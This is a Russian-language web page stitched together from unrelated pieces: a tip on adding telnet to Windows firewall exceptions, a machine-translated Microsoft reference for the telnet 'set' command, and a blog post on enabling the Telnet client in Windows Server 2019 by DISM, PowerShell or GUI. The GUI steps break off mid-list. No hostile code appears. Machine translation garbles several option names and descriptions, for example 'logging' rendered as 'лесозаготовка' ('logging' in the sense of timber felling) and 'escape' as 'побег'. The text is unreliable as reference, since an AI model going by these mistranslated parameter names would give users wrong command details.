Подключение к my2k3-pc… Не удалось открыть соединение с хостом, на порту 23: Ошибка подключения
Добавьте службу в список исключений в брандмауэре
Если брандмауэр включен на вашем компьютере, все входящие подключения к порту telnet будут заблокированы брандмауэром.Вы можете решить эту проблему, добавив службу telnet в список исключений брандмауэра. Это можно сделать, выполнив следующие действия.
- Откройте брандмауэр, запустив firewall.cpl
- Щелкните вкладку Advanced
- В этом окне вы можете увидеть все сетевые подключения, доступные на вашем компьютере. Выберите сетевое соединение, для которого вы хотите разрешить соединения Telnet.
- Затем нажмите «Настройки ».
- В новом окне нажмите кнопку проверки для telnet-сервера.Нажмите ОК и закройте все окна.
| Документы Microsoft
- 2 минуты на чтение
В этой статье
Применимо к: Windows Server (полугодовой канал), Windows Server 2019, Windows Server 2016, Windows Server 2012 R2, Windows Server 2012
Устанавливает параметры.
Синтаксис
set [bsasdel] [crlf] [delasbs] [escape ] [localecho] [logfile ] [logging] [режим {консоль | поток}] [ntlm] [термин {ansi | vt100 | vt52 | vtnt}] [?]
Параметры
Параметр | Описание |
---|---|
бсасдел | Отправляет Backspace как удаляет . |
crlf | Отправляет CR & LF (0x0D, 0x 0A) при нажатии клавиши Enter .Известный как режим новой строки. |
деласб | Отправляет удалить как Backspace . |
побег | Задает escape-символ, используемый для ввода приглашения клиента telnet. Управляющий символ может быть отдельным символом или сочетанием клавиши CTRL и символа. Чтобы установить комбинацию клавиш управления, удерживайте нажатой клавишу CTRL при вводе символа, который вы хотите назначить. |
localecho | Включает локальное эхо. |
файл журнала | Записывает текущий сеанс telnet в локальный файл. Когда вы устанавливаете эту опцию, ведение журнала начинается автоматически. |
лесозаготовка | Включает ведение журнала. Если файл журнала не задан, появляется сообщение об ошибке. |
режим {консоль | экран} | Устанавливает режим работы. |
нтлм | Включает проверку подлинности NTLM. |
термин {ansi | vt100 | vt52 | vtnt} | Устанавливает тип терминала. |
? | Отображает справку по этой команде. |
Замечания
- Вы можете использовать команду unset , чтобы отключить ранее установленный параметр.
- В неанглоязычных версиях telnet доступен кодовый набор . Кодовый набор устанавливает текущий кодовый набор для опции, которая может быть любой из следующих: shift JIS , Japanese EUC , JIS Kanji , JIS Kanji (78) , DEC Kanji , NEC Кандзи .Вы должны установить тот же код, установленный на удаленном компьютере.
Примеры
Установите файл журнала и начните регистрацию в локальном файле tnlog.txtустановить файл журнала tnlog.txt
Дополнительные ссылки
Как включить клиент Telnet в Windows Server 2019
В этом посте будет показано, как установить клиент Telnet в Microsoft Windows Server 2019. Я покажу примеры с командной строкой, PowerShell и, конечно же, с использованием графического пользовательского интерфейса.
По умолчанию клиент telnet в операционных системах Microsoft Windows отключен, это прискорбно, так как это чрезвычайно полезный инструмент, который можно использовать для тестирования TCP-соединения с внешними хостами на указанном порту.
Это замечательно, когда вы пытаетесь устранить проблемы с сетевым подключением, например, скажем, у нас есть веб-сервер, который должен прослушивать порт 80 для обслуживания HTTP-трафика, но мы не можем загрузить веб-страницу с помощью telnet. чтобы подключиться к веб-серверу через порт 80, мы можем проверить подключение.
Может случиться так, что с подключением все в порядке, но есть проблема с веб-сервером, или, например, веб-сервер остановлен, а порт вообще не прослушивает.С помощью telnet мы можем лучше понять, что происходит.
Включение клиента Telnet
Во-первых, вам необходимо включить клиент Telnet, если вы не включите его, при попытке его использования вы получите результат, аналогичный приведенному ниже сообщению.
C: \> telnet google.com 80 «telnet» не распознается как внутренняя или внешняя команда, действующая программа или командный файл. C: \>
Вы можете включить клиент Telnet из командной строки или через графический интерфейс.
Включение клиента telnet через командную строку
Использование командной строки — самый простой и быстрый способ установить клиент telnet. Выполните приведенную ниже команду в командной строке с правами администратора.
DISM / Online / Enable-Feature / FeatureName: TelnetClient
Вот и все, через несколько секунд telnet должен быть готов к работе.
Включение клиента telnet через PowerShell
Опять же, мы также можем сделать это вместо этого с помощью PowerShell, мы можем запустить приведенный ниже командлет в консоли PowerShell с разрешениями администратора, который установит клиент telnet.
Install-WindowsFeature -name Telnet-Client
По завершении вы должны увидеть следующий результат:
Успешный перезапуск необходим код выхода Результат функции ------- -------------- --------- -------------- True No Success {Telnet Client}
Включение клиента telnet через графический интерфейс пользователя
- Откройте диспетчер сервера.
- В диспетчере сервера нажмите «Добавить роли и компоненты».
- Мастер добавления ролей и компонентов откроется на экране «Перед началом работы», нажмите «Далее».
- На экране «Тип установки» оставьте выбранной установку на основе ролей или компонентов и нажмите «Далее».
- На экране выбора сервера выберите сервер для установки. По умолчанию это должен быть сам локальный сервер, нажмите «Далее».
- На экране «Роли сервера» нажмите «Далее». Мы устанавливаем функцию, а не роль, поэтому ничего здесь не выбирайте.